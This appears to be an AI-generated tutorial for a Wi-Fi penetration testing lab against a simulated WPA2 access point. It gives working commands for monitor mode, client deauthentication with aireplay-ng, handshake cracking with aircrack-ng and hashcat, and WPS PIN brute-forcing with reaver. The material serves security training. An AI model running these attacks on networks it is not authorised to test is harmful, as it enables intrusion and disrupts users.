

Here is an advanced **Educational Wi-Fi Penetration Testing Lab** designed for cybersecurity professionals and students. This lab focuses on the standard WPA/WPA2 handshake capture and subsequent cracking, which is the most common method for auditing wireless security in organizational environments (like universities or corporate offices).

Lab Scenario: "Corporate AP Audit"

Objective: Capture a WPA2-PSK (Pre-Shared Key) handshake from a simulated Access Point (AP) and crack the passphrase using dictionary attacks.

Environment Setup:

1. **Attacker Machine:** Kali Linux VM with two network interfaces:
 - **eth0** or **wlan0**: For management/communication.
 - **wlan1** (or second interface): Configured in **Monitor Mode** for packet sniffing.
2. **Target Access Point (AP):** A physical router or a VM acting as an AP (e.g., using **hostapd**). Let's assume the SSID is **"University_WiFi"** and the password is **"Passw0rd123"**.
3. **Client Device:** A smartphone or laptop connected to **"University_WiFi"** to generate traffic for the handshake capture.

Phase 1: Preparation & Monitor Mode

Before capturing, we must put our wireless interface into **Monitor Mode**, allowing it to see all traffic on the channel, not just traffic destined for its MAC address.

Step 1: Check Interface Status

```
bash
```

Copy

```
ip a
```

- **Explanation:** Identify your Wi-Fi interface (e.g., **wlan0**). Ensure it is up.

Step 2: Bring Down Interface

```
bash
```

Copy

```
sudo ip link set wlan0 down
```

Step 3: Set to Monitor Mode

```
bash
```

Copy

```
sudo iwconfig wlan0 mode monitor
```

```
# OR using iw tool (more reliable)
sudo ip link set wlan0 down
sudo iw dev wlan0 interface add mon0 type monitor
sudo ip link set mon0 up
```

- **Explanation:** We create a new virtual interface **mon0** in monitor mode. This is crucial for capturing raw 802.11 frames.

Step 4: Verify Monitor Mode

```
bash
Copy
iwconfig mon0
```

Expected Output: Mode:Monitor

Phase 2: Scanning for the Target AP

We need to find the target Access Point's BSSID (MAC address), Channel, and ESSID.

Step 1: Scan for Networks

```
bash
Copy
sudo airodump-ng mon0
```

- **Explanation:** This command lists all visible Wi-Fi networks. Look for your target SSID (**University_WiFi**). Note the **BSSID** (e.g., **AA:BB:CC:DD:EE:FF**) and **Channel** (e.g., **6**).

Step 2: Filter Scan to Specific Target

To reduce noise, filter the scan to only show the target AP.

```
bash
Copy
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture mon0
```

• Explanation:

- **-c 6:** Locks onto Channel 6.
- **--bssid ...:** Filters for the specific AP.
- **-w capture:** Saves packets to a file named **capture**.
- **Keep this terminal open.** This window will show us when clients connect.

Phase 3: Capturing the Handshake

The WPA2 handshake occurs when a client connects to the AP (or reconnects). We need to force a reconnection or wait for one.

Step 1: Open Second Terminal & Deauthenticate Client

In a second terminal, use **aircrack-ng** suite to send deauthentication packets to kick clients off the network. This forces them to reconnect, triggering the handshake.

bash

Copy

```
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF mon0
```

- **Explanation:**

- **-0**: Deauthentication attack.
- **5**: Send 5 packets (increase if needed).
- **-a ...**: Target AP BSSID.
- **mon0**: The monitor interface.

Observation: Go back to the first terminal (**airodump-ng**). You should see the **#Data** column increase, and eventually, a line in the **"STAs"** section showing a client MAC address connecting. Look for a flash of **WPA Handshake** in the top right corner of **airodump-ng**.

Step 2: Verify Handshake Capture

bash

Copy

In the first terminal, check if "WPA Handshake" appeared.

If not, repeat -0 attack or wait for a client to connect naturally.

Phase 4: Cracking the Passphrase

Now that we have the handshake file (e.g., **capture-01.cap**), we can use **aircrack-ng** or **hashcat** to crack it.

Option A: Using Aircrack-ng (Simpler, CPU-based)

bash

Copy

```
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
```

Explanation:

- **-w**: Specifies the wordlist.
- **capture-01.cap**: The file containing the handshake.
- **Process**: Aircrack-ng extracts the handshake, then tests each word in the dictionary against it. If a match is found, it displays the key.

Option B: Using Hashcat (Faster, GPU/CPU-based)

Hashcat is generally faster but requires converting the capture to its specific format.

Step 1: Extract Handshake with hcxpcapngtool

```
bash
```

```
Copy
```

```
sudo hcxpcapngtool -o handshake.hc2200 capture-01.cap
```

- **Explanation:** This tool converts the **.cap** file into Hashcat's format (**hc2200** for WPA/WPA2). It extracts the ESSID, BSSID, Nonce, and MIC (Message Integrity Code).

Step 2: Run Hashcat Attack

```
bash
```

```
Copy
```

```
sudo hashcat -m 2200 handshake.hc2200 /usr/share/wordlists/rockyou.txt
```

Explanation:

- **-m 2200:** Specifies the hash mode for **WPA/WPA2**.
- **handshake.hc2200:** The converted hash file.
- **/usr/share/wordlists/rockyou.txt:** The dictionary.

Phase 5: Advanced Techniques (Deauth + Capture)

In a real-world scenario, clients might not reconnect quickly. We can automate the process.

Step 1: Combined Attack Script

Create a simple script or run commands in sequence to ensure capture.

```
bash
```

```
Copy
```

```
# 1. Start monitoring
```

```
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w result mon0 &
```

```
# 2. Wait 10 seconds, then deauth
```

```
sleep 10
```

```
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF mon0
```

```
# 3. Check for handshake in result-01.cap
```

Step 2: Using reaver for WPS (If Enabled)

Many university APs have **WPS** (Wi-Fi Protected Setup) enabled, which is easier to crack than WPA2 directly.

```
bash
```

```
Copy
```

```
sudo reaver -i mon0 -b AA:BB:CC:DD:EE:FF -vv
```

- **Explanation: reaver** brute-forces the 8-digit PIN code of the AP. If successful, it reveals the WPA password without needing a handshake capture.

Phase 6: Analysis & Reporting

Step 1: Verify Cracked Password

If using Aircrack-ng, the output will look like this:

text

Copy

```
KEY FOUND! [ Passw0rd123 ]
```

Step 2: Document Findings

Create a report detailing:

1. **SSID:** University_WiFi
2. **BSSID:** AA:BB:CC:DD:EE:FF
3. **Encryption:** WPA2-PSK (AES)
4. **Handshake Capture Time:** 2 minutes
5. **Cracking Method:** Dictionary Attack (Rockyou.txt)
6. **Time to Crack:** 10 seconds

Key Takeaways for Educational Purposes

1. **Monitor Mode is Essential:** You cannot capture WPA handshakes in Managed Mode because you only see traffic destined for your MAC. Monitor mode lets you see all control frames (including the handshake).
2. **The Handshake is Key:** The password itself isn't transmitted over the air. The client and AP exchange nonces to prove they know the password. Capturing this exchange allows offline cracking.
3. **Deauthentication Works:** Forcing a client to reconnect is the most reliable way to get a handshake quickly.
4. **WPS Vulnerability:** If WPS is enabled, **reaver** or **bully** can crack the AP in minutes, bypassing WPA2 complexity entirely.

Common Pitfalls

- **Wrong Channel:** If you lock onto the wrong channel, you won't see the target AP. Always verify with **airodump-ng**.
- **Single Client Required:** You need at least one client connected to the AP to capture a handshake. If no clients are connected, the AP broadcasts beacons, but no handshake occurs.
- **File Format:** Ensure you use the correct Hashcat mode (2200 for WPA2) and JtR format (**wpa**) if switching tools.

This lab provides a complete, realistic workflow for auditing Wi-Fi security in an organizational setting, from reconnaissance to final password extraction.

